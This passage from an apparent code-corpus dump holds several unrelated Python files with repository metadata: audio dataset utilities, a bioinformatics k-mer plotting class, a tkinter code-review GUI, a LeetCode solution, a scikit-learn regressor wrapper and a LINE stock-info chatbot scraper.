:attr:`output_sampling_rate`.\n\n Args:\n dataset (torch.utils.data.Dataset): data set with `sampling_rate`\n attribute or property\n\n Returns:\n int: sampling rate in Hz after all transforms are applied\n\n Example:\n >>> from audtorch import datasets, transforms\n >>> t = transforms.Resample(input_sampling_rate=16000,\n ... output_sampling_rate=8000)\n >>> data = datasets.WhiteNoise(sampling_rate=16000, transform=t)\n >>> sampling_rate_after_transform(data)\n 8000\n\n \"\"\"\n sampling_rate = dataset.original_sampling_rate\n try:\n # List of composed transforms\n transforms = dataset.transform.transforms\n except AttributeError:\n # Single transform\n transforms = [dataset.transform]\n for transform in transforms:\n if hasattr(transform, 'output_sampling_rate'):\n sampling_rate = transform.output_sampling_rate\n return sampling_rate\n\n\ndef ensure_same_sampling_rate(\n datasets,\n):\n r\"\"\"Raise error if provided data set differ in sampling rate.\n\n All data sets that are checked need to have a `sampling_rate` attribute or\n property.\n\n Args:\n datasets (list of torch.utils.data.Dataset): list of at least two audio\n data sets.\n\n \"\"\"\n for dataset in datasets:\n if not hasattr(dataset, 'sampling_rate'):\n raise RuntimeError(\n f\"{dataset} doesn't have a `sampling_rate` attribute.\"\n )\n for n in range(1, len(datasets)):\n if datasets[0].sampling_rate != datasets[n].sampling_rate:\n error_msg = 'Sampling rates do not match:\\n'\n for dataset in datasets:\n info = dataset.__repr__()\n error_msg += f'{dataset.sampling_rate}Hz from {info}'\n raise ValueError(error_msg)\n\n\ndef ensure_df_columns_contain(\n df,\n labels,\n):\n r\"\"\"Raise error if list of labels are not in dataframe columns.\n\n Args:\n df (pandas.dataframe): data frame\n labels (list of str): labels to be expected in `df.columns`\n\n Example:\n >>> import pandas as pd\n >>> df = pd.DataFrame(data=[(1, 2)], columns=['a', 'b'])\n >>> ensure_df_columns_contain(df, ['a', 'c'])\n Traceback (most recent call last):\n RuntimeError: Dataframe contains only these columns: 'a, b'\n\n \"\"\"\n ensure_df_not_empty(df)\n if labels is not None and not set(labels) <= set(df.columns):\n raise RuntimeError(\n f\"Dataframe contains only these columns: '{', '.join(df.columns)}'\"\n )\n\n\ndef ensure_df_not_empty(\n df,\n labels=None,\n):\n r\"\"\"Raise error if dataframe is empty.\n\n Args:\n df (pandas.dataframe): data frame\n labels (list of str, optional): list of labels used to shrink data\n set. Default: `None`\n\n Example:\n >>> import pandas as pd\n >>> df = pd.DataFrame()\n >>> ensure_df_not_empty(df)\n Traceback (most recent call last):\n RuntimeError: No valid data points found in data set\n\n \"\"\"\n error_message = 'No valid data points found in data set'\n if labels is not None:\n error_message += f\" for the selected labels: {', '.join(labels)}\"\n if len(df) == 0:\n raise RuntimeError(error_message)\n\n\ndef files_and_labels_from_df(\n df,\n *,\n column_labels=None,\n column_filename='filename',\n):\n r\"\"\"Extract list of files and labels from dataframe columns.\n\n Args:\n df (pandas.DataFrame): data frame with filenames and labels\n column_labels (str or list of str, optional): name of data frame\n column(s) containing the desired labels. Default: `None`\n column_filename (str, optional): name of column holding the file\n names. Default: `filename`\n\n Returns:\n tuple:\n * list of str: list of files\n * list of str or list of dicts: list of labels\n\n Example:\n >>> import pandas as pd\n >>> df = pd.DataFrame(data=[('speech.wav', 'speech')],\n ... columns=['filename', 'label'])\n >>> files, labels = files_and_labels_from_df(df, column_labels='label')\n >>> os.path.relpath(files[0]), labels[0]\n ('speech.wav', 'speech')\n\n \"\"\"\n if df is None:\n return [], []\n\n ensure_df_columns_contain(df, [column_filename])\n df = df.copy()\n files = df.pop(column_filename).tolist()\n\n if column_labels is None:\n return files, [''] * len(files)\n\n if isinstance(column_labels, str):\n column_labels = [column_labels]\n ensure_df_columns_contain(df, column_labels)\n df = df[column_labels]\n # Drop empty entries\n df = df.dropna().reset_index(drop=True)\n ensure_df_not_empty(df, column_labels)\n if len(column_labels) == 1:\n # list of strings\n labels = df.values.T[0].tolist()\n else:\n # list of dicts\n labels = df.to_dict('records')\n return files, labels\n\n\ndef _gen_bar_updater(pbar):\n def bar_update(count, block_size, total_size):\n if pbar.total is None and total_size:\n pbar.total = total_size\n progress_bytes = count * block_size\n pbar.update(progress_bytes - pbar.n)\n\n return bar_update\n\n\ndef defined_split(\n dataset,\n split_func,\n):\n r\"\"\"Split data set into desired non-overlapping subsets.\n\n Args:\n dataset (torch.utils.data.Dataset): data set to be split\n split_func (func): function mapping from data set index to subset id,\n :math:`f(\\text{index}) = \\text{subset\\_id}`.\n The target domain of subset ids does not need to cover the\n complete range `[0, 1, ..., (num_subsets - 1)]`\n\n Returns:\n (list of Subsets): desired subsets according to :attr:`split_func`\n\n Example:\n >>> import torch\n >>> from torch.utils.data import TensorDataset\n >>> from audtorch.samplers import buckets_of_even_size\n >>> data = TensorDataset(torch.randn(100))\n >>> lengths = np.random.randint(0, 1000, (100,))\n >>> split_func = buckets_of_even_size(lengths, 5)\n >>> subsets = defined_split(data, split_func)\n >>> [len(subset) for subset in subsets]\n [20, 20, 20, 20, 20]\n\n \"\"\"\n subset_ids = [split_func(i) for i in range(len(dataset))]\n unique_subset_ids = sorted(set(subset_ids))\n num_subsets = len(unique_subset_ids)\n\n split_indices = [[] for _ in range(num_subsets)]\n\n for i, subset_id in enumerate(subset_ids):\n # handle non-coherent target domain\n subset_id = unique_subset_ids.index(subset_id)\n split_indices[subset_id] += [i]\n\n return [Subset(dataset, indices)\n for indices in split_indices]\n\n\ndef safe_path(\n path,\n):\n \"\"\"Ensure the path is absolute and doesn't include `..` or `~`.\n\n Args:\n path (str): absolute or relative path\n\n Returns:\n str: absolute path\n\n \"\"\"\n return os.path.abspath(os.path.expanduser(path))\n","repo_name":"audeering/audtorch","sub_path":"audtorch/datasets/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12541,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"21"} +{"seq_id":"15351313919","text":"__license__ = \"MIT\"\n__version__ = \"0.9.6\"\n__authors__ = [\"Marvin Jens\"]\n__email__ = \"mjens@mit.edu\"\n\nimport sys\nimport itertools\nimport numpy as np\nimport copy\nimport time\nimport os\nimport logging\nimport collections\nimport RBPamp.cyska\nimport matplotlib\n#matplotlib.use('pdf')\nimport matplotlib.pyplot as pp\n\nfrom RBPamp.caching import cached, pickled, CachedBase\nfrom RBPamp.rbns_reads import RBNSReads\nfrom RBPamp.rbns_analysis import RBNSAnalysis\nfrom RBPamp.ska_runner import SKARunner\n\n\nclass PairInteractionScreen(object):\n def __init__(self, res, core, k_int, pseudo=10.):\n self.res = res\n self.core = core\n self.k_int = k_int\n self.k_core = len(core)\n \n #print \"scanning flanking {0}-mers\".format(k_int)\n pd_matrix, pd_mask = self.res.pd_reads.kmer_flank_profiles(core, k_int)\n in_matrix, in_mask = self.res.in_reads.kmer_flank_profiles(core, k_int)\n\n self.core_density_pd = pd_mask.sum(axis=0)\n self.core_density_bg = in_mask.sum(axis=0)\n \n pd_matrix = np.array(pd_matrix, dtype=np.float32) + pseudo\n in_matrix = np.array(in_matrix, dtype=np.float32) + pseudo\n\n obsv = pd_matrix / pd_matrix.sum(axis=0)[np.newaxis,:]\n bgnd = in_matrix / in_matrix.sum(axis=0)[np.newaxis,:]\n\n # Kullback-Leibler (KL) divergence terms\n self._KL = (obsv * np.log2(obsv / bgnd) )\n # and per-position KL\n self.KL = self._KL.sum(axis=0)\n self.log_ratios = np.log2(obsv / bgnd)\n\n # mask positions overlapping with the core motif\n self.l = self.res.pd_reads.L - self.k_core\n self.KL[self.l-self.k_int+1:self.l+self.k_core] = 0\n self.log_ratios[:,self.l-self.k_int+1:self.l+self.k_core] = 0\n #print \"mask\",self.l-self.k_int+1,self.l+self.k_core \n #print \"log_ratios after masking\", self.log_ratios[:,self.l-self.k_int+1:self.l+self.k_core]\n\n def top_interactors(self, n_top=10):\n #TODO: cook a set of candidate interacting kmers from significance for now let's just take top 10\n top_i = self._KL.max(axis=1).argsort()[::-1][:n_top]\n # and sort alphabetically to ensure reproducibility across successive runs\n top_i = sorted(top_i)\n top_kmers = [cyska.index_to_seq(i, self.k_int) for i in top_i]\n #print \"top interacting kmer candidate list\", top_kmers\n return top_i, top_kmers\n \n def make_plot(self, fname, n_top=10):\n import matplotlib as mp\n mp.rcParams['font.family'] = 'Arial'\n mp.rcParams['font.size'] = 8\n mp.rcParams['font.sans-serif'] = 'Arial'\n mp.rcParams['legend.fontsize'] = 'small'\n mp.rcParams['legend.frameon'] = False\n #mp.rcParams['axes.labelsize'] = 8\n \n import matplotlib.pyplot as pp\n fig = pp.figure()\n fig.subplots_adjust(hspace=0.5)\n \n pp.title(\"{self.res.pd_reads.rbp_name}@{self.res.pd_reads.rbp_conc}nM {self.core} interacting with {self.k_int}-mers\".format(self=self))\n pp.subplot(311)\n pp.gca().set_title(\"density of {0} core\".format(self.core.upper()))\n pp.plot(self.core_density_pd, drawstyle='steps-mid', label=\"pd\")\n pp.plot(self.core_density_bg, drawstyle='steps-mid', label=\"in\")\n pp.gca().locator_params(axis='y',nbins=3)\n pp.gca().locator_params(axis='x',nbins=10)\n\n pp.legend(loc='upper left')\n pp.xlabel(\"read start pos [nt]\")\n pp.ylabel(\"frequency\")\n \n pp.subplot(312)\n pp.title(\"Kullback-Leibler divergence of flanking kmer composition\")\n x = np.arange(len(self.KL)) - len(self.KL)/2 +1.\n pp.plot(x,self.KL, drawstyle='steps-mid', label=\"{0}mers around {1}\".format(self.k_int, self.k_core) )\n pp.xlim(-self.l-.5,self.l+.5)\n pp.xlabel(\"rel. {0}-mer start pos [nt]\".format(self.k_int))\n pp.ylabel(\"KL [bits]\")\n \n pp.subplot(313)\n pp.gca().set_title(\"enriched {0}-mers\".format(self.k_int))\n top_i, top_kmers = self.top_interactors(n_top = n_top)\n z = self.log_ratios[top_i[::-1],:]\n y, x = np.mgrid[slice(0, len(top_i)+1),slice(-(self.l+.5), +self.l+1)]\n \n # symmetric, dynamic range of colorbar\n dr = np.fabs(z).max()\n pp.pcolor(x,y,z, cmap=pp.get_cmap('seismic'), vmin=-dr, vmax=dr)\n\n pp.yticks(np.arange(len(top_i))+.5, top_kmers[::-1]) # reverse order of kmers so pcolor is not upside down\n pp.xlim(-self.l-.5,self.l+.5)\n cbar = pp.colorbar(orientation=\"horizontal\", fraction=0.1, shrink=0.75, label=r\"$\\log_2( \\frac{pd}{in} )$\")\n cbar.ax.tick_params(labelsize=8)\n pp.savefig(fname)\n pp.close()\n \n","repo_name":"RomoL2/RegVar","sub_path":"inst/extdata/RBPamp/RBPamp/kmer_interactions.py","file_name":"kmer_interactions.py","file_ext":"py","file_size_in_byte":4690,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"28438467975","text":"from tkinter import *\nfrom tkinter import ttk\nfrom Resources.cut_paste_rename import list_files\nfrom typing import Dict\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom String_match.partial_ratio import *\n\nsize = '1440x810'\n# 分辨率\nmy_dpi = 96\n# 图大小\nplt.figure(figsize=(480 / my_dpi, 480 / my_dpi), dpi=my_dpi)\nplt.rcParams['font.sans-serif'] = ['SimHei'] # 用黑体显示中文\nplt.rcParams['axes.unicode_minus'] = False # 正常显示负号\n\nnoData = '暂无数据!'\nyesStr = '已判为面向用例'\nnoStr = '已判为正常作答'\n\n\ndef getColor(string):\n if string is None:\n return 'b'\n elif string == noStr:\n return 'g'\n elif string == yesStr:\n return 'r'\n else:\n return 'b'\n\n\nclass users:\n if_else_dict: dict\n partial_ratioDict: Dict[str, Partial_ratio]\n partial_ratio: Partial_ratio\n jsonParser: JsonParser\n manualDict: dict\n\n def __init__(self, path, jsonParser, ifelseDict):\n self.root = Tk()\n self.jsonParser = jsonParser\n self.panedWindow = PanedWindow(self.root)\n self.panedWindow.pack(side='left')\n # 左边那个栏\n\n self.partial_ratio = Partial_ratio('', jsonParser)\n self.basePATH = path\n self.root.title(path)\n self.root.geometry(size)\n\n self.if_else_dict = ifelseDict\n\n with open(self.basePATH + '\\\\manual inspection.json', 'r+', encoding='utf8') as ff:\n if ff.read() == '':\n ff.write('{}')\n\n self.manualDict = eval(open(path + '\\\\manual inspection.json', encoding='utf8').read())\n\n self.chartButton = ttk.Button(self.panedWindow, text='show chart', command=self.showStringMatchChart)\n self.chartButton.pack()\n\n self.ifelseChartButton = ttk.Button(self.panedWindow, text='if else', command=self.showIfElseChart)\n self.ifelseChartButton.pack()\n\n self.redShowButton = ttk.Button(self.panedWindow, text='标记可疑字符', command=self.refreshTextColor,\n state='disabled')\n self.redShowButton.pack()\n\n self.yes_no_Button = ttk.Button(self.panedWindow, text=noData, command=self.changeCommentStateByMouse,\n state='disabled')\n self.yes_no_Button.pack()\n self.yes_no_Button.bind_all('<n>', self.changeCommentStateByKeyBoard)\n self.yes_no_Button.bind_all('<m>', self.changeCommentStateByKeyBoard)\n\n self.extractButton = ttk.Button(self.panedWindow, text='数据提取', command=self.extractAction, state='disabled')\n self.extractButton.pack()\n\n self.userListBox = Listbox(self.panedWindow, width=18, height=30)\n self.userPathList = [item for item in list_files(path)\n if item.endswith(\".py\") and not item.endswith('answer.py')]\n [self.userListBox.insert(self.userListBox.size(), str(item).split('\\\\')[3][5:-3])\n for item in self.userPathList]\n self.userListBox.bind('<Double-Button-1>', self.userCallOn)\n self.userListBox.pack()\n self.true_answer_button = ttk.Button(self.panedWindow, text='answer', command=self.answerAction)\n self.true_answer_button.pack()\n self.readmeButton = ttk.Button(self.panedWindow, text='readme', command=self.readmeAction)\n self.readmeButton.pack()\n self.test_case_button = ttk.Button(self.panedWindow, text='test-cases', command=self.testCaseAction)\n self.test_case_button.pack()\n self.textView = Text(self.root, width=150, height=54, state='disabled')\n self.textView.pack()\n\n self.partial_ratioDict = self.__initRatioDict()\n\n def __initRatioDict(self):\n result = dict()\n for path in self.userPathList:\n print(path)\n code = open(path, encoding='utf8').read()\n partial_ratio = Partial_ratio(code=code, jsonParser=self.jsonParser)\n result[path] = partial_ratio\n return result\n\n def refreshTextByFile(self, file):\n path = self.basePATH + '\\\\' + file\n self.refreshTextByPath(path)\n pass\n\n def refreshTextByPath(self, path):\n textStr = open(path, encoding='utf8').read()\n self.refreshTextByString(textStr)\n pass\n\n def refreshTextByString(self, string):\n self.textView.configure(state='normal')\n self.textView.delete(0.0, END)\n self.textView.insert(0.0, string)\n self.textView.configure(state='disabled')\n pass\n\n def refreshTextColor(self):\n color = 'red' # 字体红色\n aList = self.partial_ratio.inData[1] # 输入数据的下标\n bList = self.partial_ratio.outData[1] # 输出的\n aList += bList\n aList.sort(key=lambda x: x[0])\n targetLines = list(set([i[0] for i in aList]))\n\n print('可疑字符串的下标=', aList)\n text_content = (self.textView.get(\"0.0\", \"end\"))\n # print(text_content)\n text_content_list = text_content.split('\\n')\n print(text_content_list)\n print('=' * 6766)\n ptrINput = 0\n ptrOutput = 0\n for i in range(len(text_content_list)):\n if i + 1 in targetLines:\n while ptrINput < len(aList) and aList[ptrINput][0] == i + 1:\n pos = str(i + 1) + '.'\n self.textView.tag_add('tag', pos + str(aList[ptrINput][1]), pos + str(aList[ptrINput][2]))\n self.textView.tag_config('tag', background='yellow', foreground=color)\n self.textView.insert(pos + str(aList[ptrINput][1]), text_content_list[i] + '\\n', 'tag')\n ptrINput += 1\n else:\n pos = str(i + 1) + '.0'\n self.textView.insert(pos, text_content_list[i] + '\\n', 'tag')\n\n # print(self.textView.get(\"0.0\", \"end\"))\n\n def readUserYN(self):\n a = self.userPathList[self.userListBox.curselection()[0]]\n result = self.manualDict.get(a)\n if result is None:\n return noData\n else:\n return result\n\n def changeCommentStateByMouse(self):\n oldString = self.yes_no_Button['text']\n if oldString == noData or oldString == noStr:\n newString = yesStr\n else:\n newString = noStr\n\n self.yes_no_Button['text'] = newString\n self.writeUserYN(newString)\n\n def changeCommentStateByKeyBoard(self, event):\n if str(self.yes_no_Button['state']) == 'disabled':\n return\n\n newString = noData\n if event.char == 'm':\n newString = yesStr\n elif event.char == 'n':\n newString = noStr\n\n self.yes_no_Button['text'] = newString\n self.writeUserYN(newString)\n\n def writeUserYN(self, newString):\n a = self.userPathList[self.userListBox.curselection()[0]]\n self.manualDict[a] = newString\n\n with open(self.basePATH + '\\\\manual inspection.json', 'w', encoding='utf8') as ff:\n ff.write(str(self.manualDict))\n\n def gotoUserState(self):\n self.redShowButton.configure(state='normal')\n self.extractButton.configure(state='normal')\n self.yes_no_Button.configure(state='normal')\n\n def exitUserState(self):\n self.redShowButton.configure(state='disabled')\n self.extractButton.configure(state='disabled')\n self.yes_no_Button.configure(state='disabled')\n\n def userCallOn(self, event):\n my_path = self.userPathList[self.userListBox.curselection()[0]]\n code = open(my_path, encoding='utf8').read()\n self.partial_ratio = self.partial_ratioDict.get(my_path)\n self.refreshTextByString(code)\n self.gotoUserState()\n self.yes_no_Button['text'] = self.readUserYN()\n pass\n\n def answerAction(self, ):\n self.refreshTextByFile('answer.py')\n self.exitUserState()\n pass\n\n def readmeAction(self):\n self.refreshTextByFile('readme.md')\n self.exitUserState()\n pass\n\n def testCaseAction(self):\n self.refreshTextByFile('testCases.json')\n self.exitUserState()\n pass\n\n def extractAction(self):\n self.refreshTextByString(self.partial_ratio.extracter.afterExtractCode)\n pass\n\n @staticmethod\n def showChart(height, bars, colorList):\n height = [i if i > 0 else float(0.0267) for i in height]\n y_pos = np.arange(len(bars))\n plt.ylim((0, 1))\n plt.bar(y_pos, height, color=colorList)\n plt.xticks(y_pos, bars, rotation=270)\n plt.show()\n\n def showStringMatchChart(self):\n # height\n keys = [i for i in self.partial_ratioDict.keys()]\n keys.sort(key=lambda i: (self.partial_ratioDict.get(i).inData[0]*self.partial_ratioDict.get(i).inData[2]+self.partial_ratioDict.get(i).outData[0]*self.partial_ratioDict.get(i).outData[2])/(self.partial_ratioDict.get(i).inData[2]+self.partial_ratioDict.get(i).outData[2]))\n\n height = [(self.partial_ratioDict.get(i).inData[0]*self.partial_ratioDict.get(i).inData[2]+self.partial_ratioDict.get(i).outData[0]*self.partial_ratioDict.get(i).outData[2])/(self.partial_ratioDict.get(i).inData[2]+self.partial_ratioDict.get(i).outData[2]) for i in keys]\n\n bars = [(i.split('\\\\')[-1]).split('_')[1] for i in keys]\n\n colorList = [getColor(self.manualDict.get(i)) for i in keys]\n self.showChart(height, bars, colorList)\n\n def showIfElseChart(self):\n if not self.if_else_dict:\n return\n keys = [i for i in self.if_else_dict.keys()]\n keys.sort(key=lambda i: self.if_else_dict.get(i)[0])\n height = [float(self.if_else_dict.get(i)[0]) for i in keys]\n bars = keys\n\n tmpDict = dict()\n for i in self.manualDict.keys():\n ii = i.split('\\\\')[3].split('_')[1]\n tmpDict[ii] = i\n colorList = [getColor(self.manualDict.get(tmpDict.get(i))) for i in keys]\n self.showChart(height, bars, colorList)\n","repo_name":"huangmengbin/UserCase-Oriented-Detection","sub_path":"gui/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":9944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28502995521","text":"# 973. K Closest Points to Origin\n\n# We have a list of points on the plane. Find the K closest points to\n# the origin (0, 0).\n\n# (Here, the distance between two points on a plane is the Euclidean\n# distance.)\n\n# You may return the answer in any order. The answer is guaranteed to\n# be unique (except for the order that it is in.)\n\n# Example 1:\n# Input: points = [[1,3],[-2,2]], K = 1\n# Output: [[-2,2]]\n# Explanation:\n# The distance between (1, 3) and the origin is sqrt(10).\n# The distance between (-2, 2) and the origin is sqrt(8).\n# Since sqrt(8) < sqrt(10), (-2, 2) is closer to the origin.\n# We only want the closest K = 1 points from the origin, so the answer is just [[-2,2]].\n\n# Example 2:\n# Input: points = [[3,3],[5,-1],[-2,4]], K = 2\n# Output: [[3,3],[-2,4]]\n# (The answer [[-2,4],[3,3]] would also be accepted.)\n\n# Note:\n# 1 <= K <= points.length <= 10000\n# -10000 < points[i][0] < 10000\n# -10000 < points[i][1] < 10000\n\nfrom typing import List\n\n\nclass Solution:\n def calcDistances(self, points):\n import math\n res = []\n for x, y in points: res.append([math.sqrt(x**2 + y**2), x, y])\n return res\n\n def randomize(self, points):\n import random\n for i in range(len(points) - 1, 0, -1):\n r = int(random.random() * i)\n points[i], points[r] = points[r], points[i]\n return points\n\n def partition(self, points, start, end):\n pv = points[start][0]\n points[start], points[end] = points[end], points[start]\n p = start\n for i in range(start, end):\n if points[i][0] < pv:\n points[p], points[i] = points[i], points[p]\n p += 1\n points[p], points[end] = points[end], points[p]\n return p\n\n def kClosest(self, points: List[List[int]], K: int) -> List[List[int]]:\n if K >= len(points): return points\n pd = self.randomize(self.calcDistances(points))\n l, r = 0, len(points) - 1\n p = self.partition(pd, l, r)\n while p != K:\n if p < K: l = p + 1\n else: r = p - 1\n p = self.partition(pd, l, r)\n\n res = []\n for i, p in enumerate(pd):\n if i == K: break\n res.append(p[1:])\n return res\n\nt = Solution()\n\n\nprint(\"[[0,2],[-3,3],[-2,5]] =|= \", t.kClosest([[6,10],[-3,3],[-2,5],[0,2]], 3))\nprint(\"[[-2,2]] =|= \", t.kClosest([[1,3],[-2,2]], 1))\nprint(\"[[3,3],[-2,4]] =|= \", t.kClosest([[3,3],[5,-1],[-2,4]], 2))\nprint(\"[[3,3],[5,-1],[-2,4]] =|= \", t.kClosest([[3,3],[5,-1],[-2,4]], 3))","repo_name":"DmitryVlaznev/leetcode","sub_path":"973-k-closest-points-to-origin.py","file_name":"973-k-closest-points-to-origin.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"18288376877","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 16 17:03:39 2021\n\n@author: bdobkowski\n\"\"\"\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.linear_model import Ridge, RidgeCV\nfrom sklearn.linear_model import Lasso, LassoCV\nfrom sklearn.linear_model import PoissonRegressor\nfrom sklearn.model_selection import GridSearchCV, RandomizedSearchCV\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.svm import SVR\n\nclass Regressor:\n \"\"\"Regressor\n\n Example usage:\n > reg = Regressor('LinearRegression')\n > reg.fit(x_train, y_train)\n > reg.predict(x_eval)\n \"\"\"\n def __init__(self, model_type='LinearRegression'):\n \"\"\"\n\n \"\"\"\n self.model_type = model_type\n \n if model_type == 'LinearReg':\n self.model = LinearRegression(fit_intercept=True)\n elif model_type == 'Ridge':\n self.model = Ridge(fit_intercept=True)\n elif model_type == 'Lasso':\n self.model = Lasso(fit_intercept=True)\n elif model_type == 'SVR':\n self.model = SVR(kernel='poly',\n degree=3,\n gamma='scale',\n epsilon=0.1,\n C=1.0,\n max_iter=1000)\n elif model_type == 'Poisson':\n self.model = PoissonRegressor(max_iter=10000)\n elif model_type == 'RandomForest':\n self.model = RandomForestRegressor(max_depth=2, random_state=0)\n elif model_type == 'Baseline':\n self.model = LinearRegression(fit_intercept=True)\n else:\n raise Exception('Model does not exist in regressor class')\n\n def fit(self, x, y):\n self.model.fit(x, y)\n \n def predict(self, x):\n return self.model.predict(x)\n \n def fit_cv(self, x, y):\n \"\"\" Cross Validation via GridSearch, RandomizedSearch\n \"\"\"\n if self.model_type == 'LinearReg':\n w = np.exp(-(y-50)**2/1000)\n self.model_cv = self.model\n self.model_cv.fit(x, y, sample_weight=w)\n return\n \n elif self.model_type == 'Baseline':\n self.model_cv = self.model\n self.model_cv.fit(x, y)\n return\n \n elif self.model_type == 'Ridge':\n self.model_cv = RidgeCV(alphas=(np.linspace(0.1,10.0,num=30)),\n fit_intercept=True).fit(x, y)\n \n # self.model_cv = Ridge(alpha=10.0,\n # fit_intercept=True).fit(x, y)\n \n # ['additive_chi1', 'chi2', 'linear', 'poly', 'polynomial', 'rbf', 'laplacian', 'sigmoid', 'cosine']\n # params = {'kernel':['rbf','linear'],\n # 'alpha':np.linspace(0.1,10.0,num=30),\n # 'gamma':[0.1, 0.01, 0.4, 0.7]}\n \n # self.model_cv = GridSearchCV(estimator=KernelRidge(), \n # param_grid=params, \n # scoring='neg_mean_squared_error').fit(x,y)\n return\n \n elif self.model_type == 'Lasso':\n self.model_cv = LassoCV(alphas=(np.linspace(0.01,10.0,num=100)),\n fit_intercept=True).fit(x, y)\n return\n \n elif self.model_type == 'SVR':\n # params = {'kernel':['poly','rbf','linear','sigmoid'],\n # 'C':np.logspace(-2,2,num=40),\n # 'gamma':['scale'],\n # 'max_iter':[-1],\n # 'degree':[1,2,3,4]}\n \n # self.model_cv = GridSearchCV(estimator=self.model, \n # param_grid=params, \n # scoring='neg_mean_squared_error').fit(x,y)\n \n self.model_cv = SVR(C=0.21544346900318834, \n degree=1, \n kernel='linear',\n cache_size=200,\n max_iter=-1,\n epsilon=0.1).fit(x, y)\n return\n \n elif self.model_type == 'Poisson':\n params = {'alpha':np.linspace(0.01,10,100),\n 'max_iter':[100000]}\n \n self.model_cv = GridSearchCV(estimator=self.model, \n param_grid=params, \n scoring='neg_mean_squared_error').fit(x,y)\n return\n \n elif self.model_type == 'RandomForest':\n params = {'bootstrap': [True, False],\n 'max_depth': [10, 20, 30, 40, 50, 60, 70, 80, 90, 100, None],\n 'max_features': ['auto', 'sqrt'],\n 'min_samples_leaf': [1, 2, 3, 4],\n 'min_samples_split': [2, 4, 6, 8, 10],\n 'n_estimators': [200, 400, 600, 800, 1000, 1200, 1400, 1600, 1800, 2000]}\n \n self.model_cv = RandomizedSearchCV(estimator = self.model, \n param_distributions = params, \n n_iter = 200, \n cv = 3, \n verbose=1, \n random_state=42, \n n_jobs = -1).fit(x,y)\n return\n ","repo_name":"bdobkowski/2020_Olympics_Predictions","sub_path":"regressors.py","file_name":"regressors.py","file_ext":"py","file_size_in_byte":5562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"39961650474","text":"import os\nimport json\n\nimport requests\nfrom bs4 import BeautifulSoup as bs\nimport pandas as pd\n\nimport twstock\n\nfrom flask import Flask, request, abort\n\nfrom linebot import (\n LineBotApi, WebhookHandler\n)\n\nfrom linebot.exceptions import (\n InvalidSignatureError\n)\n\nfrom linebot.models import (\n MessageEvent, TextMessage, TextSendMessage,\n)\n\napp = Flask(__name__)\n\n# LINE Chatbot token\nLINE_CHANNEL_ACCESS_TOKEN = os.environ.get('LINE_CHANNEL_ACCESS_TOKEN')\nLINE_CHANNEL_SECRET = os.environ.get('LINE_CHANNEL_SECRET')\nline_bot_api = LineBotApi(LINE_CHANNEL_ACCESS_TOKEN)\nhandler = WebhookHandler(LINE_CHANNEL_SECRET)\n\ndef getStockPrice(stockno):\n stock = twstock.realtime.get(stockno)['realtime']\n stockpricestr = ''\n stockpricestr += '開盤價'+ '{:.2f}'.format(float(stock['open'])) + '\\n'\n stockpricestr += '最高價'+ '{:.2f}'.format(float(stock['high'])) + '\\n'\n stockpricestr += '最低價'+ '{:.2f}'.format(float(stock['low'])) + '\\n'\n stockpricestr += '收盤價'+ '{:.2f}'.format(float(stock['latest_trade_price']))\n return stockpricestr\n\ndef getRevenue(stockno):\n url = f\"http://jsjustweb.jihsun.com.tw/z/zc/zch/zch_{stockno}.djhtm\"\n res = requests.get(url)\n soup = bs(res.text, 'lxml')\n tb = soup.select('table')[2]\n df = pd.read_html(tb.prettify(), header = 5)\n\n stockrevenue = ''\n stockrevenue += '年月 ' + str(df[0].iloc[0, 0]) + '%\\n'\n stockrevenue += '營收 ' + str(df[0].iloc[0, 1]) + '仟元\\n'\n stockrevenue += '月增率 ' + str(df[0].iloc[0, 2]) + '%\\n'\n stockrevenue += '去年同期 ' + str(df[0].iloc[0, 3]) + '仟元\\n'\n stockrevenue += '年增率 ' + str(df[0].iloc[0, 4]) + '%\\n'\n stockrevenue += '累計營收 ' + str(df[0].iloc[0, 5]) + '仟元\\n'\n stockrevenue += '累計營收年增率 ' + str(df[0].iloc[0, 6]) + '%\\n'\n return stockrevenue\n\ndef getCredittransaction(stockno):\n url = f'https://goodinfo.tw/StockInfo/ShowBearishChart.asp?STOCK_ID={stockno}&CHT_CAT=DATE'\n headers = {\n 'referer': 'https://goodinfo.tw/',\n 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36'\n }\n res = requests.get(url, headers = headers)\n res.encoding = 'utf8'\n soup = bs(res.text, 'lxml')\n cells = soup.select('.solid_1_padding_4_2_tbl td')\n strtext = ''\n strtext += '融資增減 ' + cells[23].text + '\\n'\n strtext += '融資使用率 ' + cells[25].text + '\\n'\n strtext += '融券增減 ' + cells[39].text + '\\n'\n strtext += '融券使用率 ' + cells[41].text + '\\n'\n return strtext\n\ndef getStockDayTrade(stockno):\n url = f'https://goodinfo.tw/StockInfo/DayTrading.asp?STOCK_ID={stockno}'\n headers = {\n 'referer': 'https://goodinfo.tw/',\n 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36'\n }\n res = requests.get(url, headers = headers)\n res.encoding = 'utf8'\n soup = bs(res.text, 'lxml')\n cells = soup.select('#divDayTradingDetail td')\n strtext = ''\n strtext += '成交張數當沖 ' + cells[25].text + ' %\\n'\n strtext += '當沖總損益(萬元) ' + cells[30].text + '\\n'\n strtext += '當沖均損益(元/張) ' + cells[31].text + '\\n'\n return strtext\n\ndef getOperatingProfit(stockno, year, season):\n url = f'https://mops.twse.com.tw/mops/web/ajax_t163sb06?step=1&firstin=1&&TYPEK=sii&year={year}&season={season}'\n res = requests.get(url)\n soup = bs(res.text, 'lxml')\n tb = soup.select('.hasBorder')[0]\n dfsii = 